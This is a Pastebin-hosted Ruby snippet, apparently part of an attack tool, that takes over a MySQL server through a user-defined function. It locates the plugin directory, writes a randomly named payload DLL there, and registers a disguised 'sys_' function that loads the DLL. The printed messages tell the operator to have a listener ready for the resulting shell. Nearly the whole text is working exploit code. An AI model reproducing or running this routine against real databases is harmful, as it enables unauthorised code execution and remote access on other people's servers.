document.write('
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. # Code Snippet continuation, by HR
  2.  
  3. # Determine Plugin Directory
  4. # This is where we need to write UDF to
  5. # Pass in the MySQL connection object (dbc)
  6. def get_plugin_dir(dbc)
  7.   begin
  8.     q = dbc.query(\'SELECT @@plugin_dir;\')
  9.     q.each { |x| @pdir=x[0]; }
  10.     if @pdir.nil?
  11.       q = dbc.query("SHOW VARIABLES LIKE \'basedir\';")
  12.       q.each { |x| @pdir=x[1]; }
  13.       plugpath = @pdir.split("\\\\").join("\\\\\\\\")
  14.       plugpath += "\\\\\\\\lib\\\\\\\\plugin\\\\\\\\"
  15.     else
  16.       plugpath = @pdir.split("\\\\").join("\\\\\\\\")
  17.       plugpath += "\\\\\\\\"
  18.     end
  19.     return plugpath
  20.   rescue Mysql::Error => e
  21.     puts "Problem determining the plugins directory!"
  22.     puts "\\t=> #{e}"
  23.     puts "Sorry, can\'t continue without this piece....\\n\\n"
  24.     exit 666;
  25.   end
  26. end
  27.  
  28. # Create new function tied to custom DLL
  29. # Once created (and called) it should trigger the DLL payload
  30. def create_custom_function(dbc, file)
  31.   dll_name = randz(15) + ".dll"
  32.   plugin_path = get_plugin_dir(dbc)
  33.   @udf_dest = plugin_path.chomp + dll_name
  34.   fake_function = \'sys_\' + randz(5)
  35.  
  36.   # Upload our UDF DLL Payload file
  37.   if write_bin_file(dbc, file, @udf_dest)
  38.     begin
  39.       puts "Payload DLL writen to disk!"
  40.       puts "Creating function to trigger now...."
  41.       puts "Make sure your listener is ready...."
  42.       sleep(3)
  43.       # Drop function if its already there, then create new
  44.       q = dbc.query("DROP FUNCTION IF EXISTS #{fake_function};")
  45.       q = dbc.query("CREATE FUNCTION #{fake_function} RETURNS string SONAME \'#{dll_name}\';")
  46.       return fake_function
  47.     rescue Mysql::Error => e
  48.       puts "Error Triggered, Payload should have also been triggered!"
  49.       return fake_function
  50.     end
  51.   end
  52. end
');